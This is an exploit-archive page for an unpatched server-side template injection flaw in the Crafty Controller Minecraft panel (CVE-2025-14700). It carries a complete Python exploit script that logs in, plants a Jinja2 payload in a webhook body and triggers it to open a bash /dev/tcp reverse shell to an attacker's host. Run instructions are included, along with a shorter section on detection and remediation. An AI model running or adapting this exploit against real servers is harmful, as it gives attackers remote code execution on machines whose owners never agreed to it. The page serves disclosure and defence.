PoC Archive PoC Archive
Critical CVE-2025-14700 unpatched

Crafty Controller Webhook Jinja2 Server-Side Template Injection RCE (CVE-2025-14700)

by secdongle · 2026-07-06

CVSS 9.9/10
Severity
Critical
CVE
CVE-2025-14700
Category
web
Affected product
Crafty Controller (Minecraft server management panel)
Affected versions
<= 4.6.1
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researchersecdongle
CVE / AdvisoryCVE-2025-14700
Categoryweb
SeverityCritical
CVSS Score9.9 (per NVD)
StatusWeaponized
Tagscrafty-controller, minecraft, jinja2, ssti, server-side-template-injection, reverse-shell, tornado, xsrf, python, cwe-1336
RelatedN/A

Affected Target

FieldValue
Software / SystemCrafty Controller (Minecraft server management panel)
Versions Affected<= 4.6.1
Language / PlatformPython 3 exploit against a Tornado-based web application
Authentication RequiredYes (any valid low-privilege authenticated account)
Network Access RequiredYes

Summary

Crafty Controller’s server Webhook configuration accepts a user-controlled “body” template that is rendered server-side with Jinja2 without sandboxing. An authenticated user can set the webhook body to a Jinja2 expression that escapes the sandbox via self._TemplateReference__context to reach the cycler object’s __init__.__globals__, exposing the os module and enabling arbitrary shell command execution. By binding the malicious webhook to the start_server trigger and then invoking the server-start action through Crafty’s API, the payload is rendered and executed with the same privileges as the Crafty Controller backend process, yielding a reverse shell.

PoC Script

The PoC automates the full authenticated attack chain: Tornado XSRF/session bootstrap, dummy Minecraft server creation, malicious webhook injection, and triggering of the start_server action to fire the SSTI payload.


Vulnerability Details

Root Cause

The webhook body field is rendered through Jinja2 with the full default context, and the PoC’s payload reaches os.system via the self template reference and the cycler extension’s globals:

1
2
3
4
5
6
7
8
9
revshell_cmd = REVSHELL_TEMPLATE % (lhost, lport)   # "bash -c 'bash -i >/dev/tcp/%s/%d 0<&1 2>&1'"
payload = f"{{{{ self._TemplateReference__context.cycler.__init__.__globals__.os.system(\"{revshell_cmd}\") }}}}"
data = {
    "webhook_type": "Discord",
    "name": "Exploit_Trigger_Hook",
    "body": payload,
    "trigger": ["start_server"],
    "enabled": True
}

When Crafty later renders this webhook body (as part of the start_server action pipeline), Jinja2 evaluates the expression, walking from self (the template reference) through cycler’s __init__ function’s __globals__ dict to reach the imported os module, then calling os.system() with the attacker’s reverse-shell command.

Attack Vector

  1. Authenticate to the Crafty Controller API (/api/v2/auth/login/), obtaining a JWT plus Tornado _xsrf cookie/header pair.
  2. Create a dummy Minecraft server via POST /api/v2/servers to obtain a server_id to attach a webhook to.
  3. POST /api/v2/servers/{server_id}/webhook with a Discord-type webhook whose body is the Jinja2 SSTI payload above and whose trigger includes start_server.
  4. Precisely replicate the browser’s header/cookie/XSRF synchronization (a custom token header set to the _xsrf value, Referer, Origin, etc.) and call POST /api/v2/servers/{server_id}/action/start_server (and optionally the eula action) to fire the webhook rendering pipeline.
  5. Jinja2 renders and executes the payload, opening a reverse shell to the attacker’s lhost:lport.

Impact

Authenticated remote code execution on the host running Crafty Controller, at the privilege level of the Crafty backend process (often with elevated access, since it manages game server processes).


Environment / Lab Setup

Target: Crafty Controller 4.6.1 (docker-compose.yml provided:
        registry.gitlab.com/crafty-controller/crafty-4:4.6.1, web dashboard on :8443,
        Minecraft port :25565); complete the setup wizard to create an admin account
Attacker: Python 3, `pip install requests`; a netcat listener for the reverse shell

Proof of Concept

PoC Script

See poc.py (plus docker-compose.yml for a disposable vulnerable lab) in this folder.

1
2
3
4
docker-compose up -d
nc -lvnp 6699

python3 poc.py -u https://TARGET:8443 -l admin -p 'PASSWORD' -lh ATTACKER_IP -lp 6699

Detection & Indicators of Compromise

POST /api/v2/servers/{id}/webhook HTTP/1.1
...
{"webhook_type":"Discord","body":"{{ self._TemplateReference__context...os.system(...) }}","trigger":["start_server"]}

POST /api/v2/servers/{id}/action/start_server HTTP/1.1

Signs of compromise:

  • Webhook configurations whose body field contains Jinja2 template syntax referencing self, __globals__, __init__, or os/subprocess
  • Unexpected outbound TCP connections from the Crafty Controller host immediately following a start_server (or eula) action call
  • Newly created “dummy” Minecraft servers with generic/automation-style names (e.g. matching CVE_2025_14700_Exploit_Automation)
  • Reverse shell child processes spawned by the Crafty backend process

Remediation

ActionDetail
Primary fixUpdate Crafty Controller beyond 4.6.1 to a version that sandboxes webhook template rendering (e.g. Jinja2 SandboxedEnvironment) and/or disallows access to self/__globals__/dunder attributes
Interim mitigationRestrict webhook-configuration privileges to fully trusted administrators only; disable webhook features if unused; monitor outbound connections from the Crafty Controller host

References


Notes

Mirrored from https://github.com/secdongle/POC_CVE-2025-14700 on 2026-07-06. Working exploit (poc.py) plus docker-compose lab; injects the Jinja2 SSTI payload and triggers a real reverse shell, matching the README’s documented output exactly.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import warnings
from urllib3.exceptions import InsecureRequestWarning

warnings.simplefilter('ignore', InsecureRequestWarning)


import time
import requests
import argparse
import json

# Reverse Shell Template
REVSHELL_TEMPLATE = "bash -c 'bash -i >/dev/tcp/%s/%d 0<&1 2>&1'"


def print_debug_info(res: requests.Response):
    """Prints request and response details in a Burp Suite-like format."""
    print("\n" + "=" * 80)
    print(f"[{res.request.method}] {res.request.url} -> HTTP {res.status_code}")
    print("-" * 20 + " [KEY HEADERS VALIDATION] " + "-" * 20)

    # Track critical authentication headers for synchronization checks
    important_headers = ['token', 'X-XSRFToken', 'Authorization', 'Cookie', 'Referer', 'Content-Type']
    for h in important_headers:
        if h in res.request.headers:
            print(f"{h}: {res.request.headers[h]}")

    print("-" * 20 + " [RESPONSE BODY] " + "-" * 25)
    try:
        # Attempt to pretty-print JSON response
        print(json.dumps(res.json(), indent=4, ensure_ascii=False))
    except:
        # Truncate output if it's not JSON
        print(res.text[:200] if res.text else "(Empty Body)")
    print("=" * 80 + "\n")


def api_login(session, url, login, password):
    """Step 1: Pre-flight and Login to retrieve dual tokens (JWT & XSRF)."""
    print("[*] STEP 1: Visiting login page to retrieve initial _xsrf cookie...")
    session.get(f"{url}/login", verify=False)
    xsrf = session.cookies.get("_xsrf", "")

    print(f"[*] STEP 2: Executing authentication (XSRF: {xsrf[:15]}...)")
    endpoint = f"{url}/api/v2/auth/login/"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Content-Type": "application/json",
        "X-XSRFToken": xsrf,
        "Referer": f"{url}/login?next=%2Fpanel%2Fdashboard",
        "Origin": url
    }
    data = {"username": login, "password": password}
    res = session.post(endpoint, json=data, headers=headers, verify=False)
    print_debug_info(res)

    if res.status_code == 200 and res.json().get("status") == "ok":
        return res.json().get("data").get("token")
    exit("[FATAL] Login failed. Please check credentials or target connectivity.")


def create_server(session, url, jwt_token):
    """Step 2: Use API to create a dummy server for exploit triggering."""
    print("[*] STEP 3: Creating exploit dummy server...")
    endpoint = f"{url}/api/v2/servers"
    xsrf = session.cookies.get("_xsrf", "")
    headers = {
        "Authorization": f"Bearer {jwt_token}",
        "X-XSRFToken": xsrf,
        "Referer": f"{url}/panel/dashboard"
    }
    data = {
        "name": "CVE_2025_14700_Exploit_Automation",
        "monitoring_type": "minecraft_java",
        "minecraft_java_monitoring_data": {"host": "127.0.0.1", "port": 25565},
        "create_type": "minecraft_java",
        "minecraft_java_create_data": {
            "create_type": "download_jar",
            "download_jar_create_data": {
                "category": "mc_java_servers", "type": "paper", "version": "1.18.2",
                "mem_min": 1, "mem_max": 2, "server_properties_port": 25565
            }
        }
    }
    res = session.post(endpoint, json=data, headers=headers, verify=False)
    print_debug_info(res)
    return res.json().get("data").get("new_server_id")


def create_hook(session, url, server_id, lhost, lport, jwt_token):
    """Step 3: Inject malicious SSTI payload into the Webhook configuration."""
    print("[*] STEP 4: Injecting SSTI Reverse Shell payload...")
    endpoint = f"{url}/api/v2/servers/{server_id}/webhook"
    xsrf = session.cookies.get("_xsrf", "")
    revshell_cmd = REVSHELL_TEMPLATE % (lhost, lport)

    # Jinja2 SSTI payload accessing os.system via cycler init globals
    payload = f"{{{{ self._TemplateReference__context.cycler.__init__.__globals__.os.system(\"{revshell_cmd}\") }}}}"

    headers = {
        "Authorization": f"Bearer {jwt_token}",
        "X-XSRFToken": xsrf,
        "Referer": f"{url}/panel/dashboard"
    }
    data = {
        "webhook_type": "Discord",
        "name": "Exploit_Trigger_Hook",
        "url": "https://localhost:8443/",
        "bot_name": "Crafty Bot",
        "trigger": ["start_server"],  # Bind exploit to server start action
        "body": payload,
        "color": "#c646000",
        "enabled": True
    }
    res = session.post(endpoint, json=data, headers=headers, verify=False)
    print_debug_info(res)


def trigger_exploit(session, url, server_id, jwt_token):
    """Step 4: 1:1 Browser emulation to trigger the backend task runner."""
    print("\n[*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)...")

    # Retrieve the latest XSRF token to bypass Tornado's XSFR protection
    xsrf = session.cookies.get("_xsrf", "")

    # Construct headers to precisely match the successful manual browser capture
    trigger_headers = {
        "Host": url.split("//")[-1].replace("/", ""),
        "Connection": "keep-alive",
        "sec-ch-ua-platform": '"Windows"',
        "Accept-Language": "en-US,en;q=0.9",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        # Critical: The custom 'token' header must be the _xsrf value, NOT the JWT
        "token": xsrf,
        "X-XSRFToken": xsrf,
        "Accept": "*/*",
        "X-Requested-With": "XMLHttpRequest",
        "Origin": url,
        "Referer": f"{url}/panel/dashboard",
        "Accept-Encoding": "gzip, deflate, br"
    }

    # Explicitly sync JWT in session cookies
    session.cookies.set("token", jwt_token)

    # 1. Trigger Start Server Action
    # Note: data=b"" ensures Content-Length is 0 and no default Content-Type is added
    start_url = f"{url}/api/v2/servers/{server_id}/action/start_server"
    print(f"[*] Sending start_server action request...")
    res = session.post(start_url, headers=trigger_headers, data=b"", verify=False)
    print_debug_info(res)

    time.sleep(2)

    # 2. Trigger EULA Action (Required for many Minecraft cores to fully initialize)
    eula_url = f"{url}/api/v2/servers/{server_id}/action/eula"
    print(f"[*] Sending EULA confirmation action request...")
    session.post(eula_url, headers=trigger_headers, data=b"", verify=False)

    print("\n[+] POC Execution completed. Check your nc listener (LHOST/LPORT).")


def main():
    parser = argparse.ArgumentParser(description='Exploit POC for CVE-2025-14700')
    parser.add_argument('--url', '-u', required=True, help='Target base URL (e.g., https://10.67.3.77:8443)')
    parser.add_argument('--login', '-l', required=True, help='Admin username')
    parser.add_argument('--password', '-p', required=True, help='Admin password')
    parser.add_argument('--lhost', '-lh', required=True, help='Local listener IP')
    parser.add_argument('--lport', '-lp', type=int, required=True, help='Local listener port')
    args = parser.parse_args()

    # Use requests.Session for automatic cookie lifecycle management
    session = requests.Session()

    # Execute the exploit chain
    jwt = api_login(session, args.url, args.login, args.password)
    server_id = create_server(session, args.url, jwt)
    create_hook(session, args.url, server_id, args.lhost, args.lport, jwt)
    trigger_exploit(session, args.url, server_id, jwt)


if __name__ == "__main__":
    main()